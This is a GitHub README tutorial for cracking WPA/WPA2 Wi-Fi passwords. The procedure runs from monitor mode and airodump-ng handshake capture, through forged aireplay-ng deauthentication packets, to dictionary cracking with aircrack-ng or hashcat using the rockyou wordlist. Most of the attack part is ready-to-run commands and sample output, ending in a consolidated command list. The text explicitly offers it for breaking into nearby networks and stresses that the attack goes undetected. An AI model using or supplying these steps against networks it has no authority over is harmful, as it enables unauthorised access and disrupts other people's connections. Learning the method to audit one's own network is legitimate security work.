Github url

wifi-cracking

by brannondorsey

brannondorsey /wifi-cracking

Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat

8.8K Stars 883 Forks Last release: almost 3 years ago (v1.4) MIT License 39 Commits 4 Releases

Available items

No Items, yet!

The developer of this repository has not created any items for sale yet. Need a bug fixed? Help with integration? A different license? Create a request here:

Wi-Fi Cracking

Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat.

This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network's security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don't actually use the password that you crack. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document.

If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used at the bottom. For a variety of suggestions and alternative methods, see the appendix. neal1991 and tiiime have also graciously provided translations to this document and the appendix in Chinese if you prefer those versions.

DISCLAIMER: This software/tutorial is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.

Getting Started

This tutorial assumes that you:

  • Have a general comfortability using the command-line
  • Are running a debian-based linux distro, preferably Kali linux (OSX users see the appendix)
  • Have Aircrack-ng installed

    sudo apt-get install aircrack-ng
  • Have a wireless card that supports monitor mode (see here for a list of supported devices)

Cracking a Wi-Fi Network

Monitor Mode

Begin by listing wireless interfaces that support monitor mode with:

airmon-ng

If you do not see an interface listed then your wireless card does not support monitor mode ๐Ÿ˜ž

We will assume your wireless interface name is

wlan0

but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode:

airmon-ng start wlan0

Run

iwconfig

. You should now see a new monitor mode interface listed (likely

mon0

or

wlan0mon

).

Find Your Target

Start listening to 802.11 Beacon frames broadcast by nearby wireless routers using your monitor interface:

airodump-ng mon0

You should see output similar to what is below.

CH 13 ][Elapsed: 52 s][ 2017-07-23 15:49 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests 14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8 14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length:>                                                        
 14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro                                                          
 9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme                                                                 
 00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome                                                   
 06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2                                                                 
 78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2                                                          
 9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT                                                    
 BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root                                                                
 EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
</length:>

For the purposes of this demo, we will choose to crack the password of my network, "hackme". Remember the BSSID MAC address and channel (

CH

) number as displayed by

airodump-ng

, as we will need them both for the next step.

Capture a 4-way Handshake

WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don't have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing

airmon-ng

to monitor traffic on the target network using the channel and bssid values discovered from the previous command.

# replace -c and --bssid values with the values of your target network # -w specifies the directory where we will save the packet capture airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][Elapsed: 1 min][2017-07-23 16:09] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS

Now we wait... Once you've captured a handshake, you should see something like

[ WPA handshake: bc:d3:c9:ef:d2:67

at the top right of the screen, just right of the current time.

If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to reconnect, be sending malicious deauthentication packets at them. This often results in the capture of a 4-way handshake. See the deauth attack section below for info on this.

Once you've captured a handshake, press

ctrl-c

to quit

airodump-ng

. You should see a

.cap

file wherever you told

airodump-ng

to save the capture (likely called

-01.cap

). We will use this capture file to crack the network password. I like to rename this file to reflect the network name we are trying to crack:

mv ./-01.cap hackme.cap

Crack the Network Password

The final step is to crack the password using the captured handshake. If you have access to a GPU, I highly recommend using

hashcat

for password cracking. I've created a simple tool that makes hashcat super easy to use called [

naive-hashcat

](https://github.com/brannondorsey/naive-hashcat). If you don't have access to a GPU, there are various online GPU cracking services that you can use, like GPUHASH.me or OnlineHashCrack. You can also try your hand at CPU cracking with Aircrack-ng.

Note that both attack methods below assume a relatively weak user generated password. Most WPA/WPA2 routers come with strong 12 character random passwords that many users (rightly) leave unchanged. If you are attempting to crack one of these passwords, I recommend using the Probable-Wordlists WPA-length dictionary files.

Cracking With

naive-hashcat

(recommended)

Before we can crack the password using naive-hashcat, we need to convert our

.cap

file to the equivalent hashcat file format

.hccapx

. You can do this easily by either uploading the

.cap

file to https://hashcat.net/cap2hccapx/ or using the [

cap2hccapx

](https://github.com/hashcat/hashcat-utils) tool directly.

cap2hccapx.bin hackme.cap hackme.hccapx

Next, download and run

naive-hashcat

:

# download git clone https://github.com/brannondorsey/naive-hashcat cd naive-hashcat # download the 134MB rockyou dictionary file curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt # crack ! baby ! crack ! # 2500 is the hashcat hash mode for WPA/WPA2 HASH\_FILE=hackme.hccapx POT\_FILE=hackme.pot HASH\_TYPE=2500 ./naive-hashcat.sh

Naive-hashcat uses various dictionary, rule, combination, and mask (smart brute-force) attacks and it can take days or even months to run against mid-strength passwords. The cracked password will be saved to hackme.pot, so check this file periodically. Once you've cracked the password, you should see something like this as the contents of your

POT\_FILE

:

e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet

Where the last two fields separated by

:

are the network name and password respectively.

If you would like to use

hashcat

without

naive-hashcat

see this page for info.

Cracking With Aircrack-ng

Aircrack-ng can be used for very basic dictionary attacks running on your CPU. Before you run the attack you need a wordlist. I recommend using the infamous rockyou dictionary file:

# download the 134MB rockyou dictionary file curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

Note, that if the network password is not in the wordfile you will not crack the password.

# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap

If the password is cracked you will see a

KEY FOUND!

message in the terminal followed by the plain text version of the network password.

Aircrack-ng 1.2 beta3 [00:01:49] 111040 keys tested (1017.96 k/s) KEY FOUND! [hacktheplanet] Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4

Deauth Attack

A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake "sender" addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with

airodump-ng

.

Use

airodump-ng

to monitor a specific access point (using

-c channel --bssid MAC

) until you see a client (

STATION

) connected. A connected client look something like this, where is

64:BC:0C:48:97:F7

the client MAC.

CH 6 ][Elapsed: 2 mins][2017-07-23 19:15] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS BSSID STATION PWR Rate Lost Frames Probe 9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS

Now, leave

airodump-ng

running and open a new terminal. We will use the

aireplay-ng

command to send fake deauth packets to our victim client, forcing it to reconnect to the network and hopefully grabbing a handshake in the process.

# -0 2 specifies we would like to send 2 deauth packets. Increase this number # if need be with the risk of noticeably interrupting client network activity # -a is the MAC of the access point # -c is the MAC of the client aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

You can optionally broadcast deauth packets to all connected clients with:

# not all clients respect broadcast deauths though aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0

Once you've sent the deauth packets, head back over to your

airodump-ng

process, and with any luck you should now see something like this at the top right:

[ WPA handshake: 9C:5C:8E:C9:AB:C0

. Now that you've captured a handshake you should be ready to crack the network password.

List of Commands

Below is a list of all of the commands needed to crack a WPA/WPA2 network, in order, with minimal explanation.

# put your network device into monitor mode airmon-ng start wlan0 # listen for all nearby beacon frames to get target BSSID and channel airodump-ng mon0 # start listening for the handshake airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0 # optionally deauth a connected client to force a handshake aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0 ########## crack password with aircrack-ng... ########## # download 134MB rockyou.txt dictionary file if needed curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt # crack w/ aircrack-ng aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap ########## or crack password with naive-hashcat ########## # convert cap to hccapx cap2hccapx.bin capture/-01.cap capture/-01.hccapx # crack with naive-hashcat HASH\_FILE=hackme.hccapx POT\_FILE=hackme.pot HASH\_TYPE=2500 ./naive-hashcat.sh

Appendix

The response to this tutorial was so great that I've added suggestions and additional material from community members as an appendix. Check it out to learn how to:

  • Capture handshakes and crack WPA passwords on MacOS/OSX
  • Capture handshakes from every network around you with
    wlandump-ng
  • Use
    crunch
    to generate 100+GB wordlists on-the-fly
  • Spoof your MAC address with
    macchanger

A Chinese version of the appendix is also available.

Attribution

Much of the information presented here was gleaned from Lewis Encarnacion's awesome tutorial. Thanks also to the awesome authors and maintainers who work on Aircrack-ng and Hashcat.

Overwhelming thanks to neal1991 and tiiime for translating this tutorial into Chinese. Further shout outs to yizhiheng, hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp and Shark0der who also provided suggestions and typo fixes on Reddit and GitHub. If you are interested in hearing some proposed alternatives to WPA2, check out some of the great discussion on this Hacker News post.

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.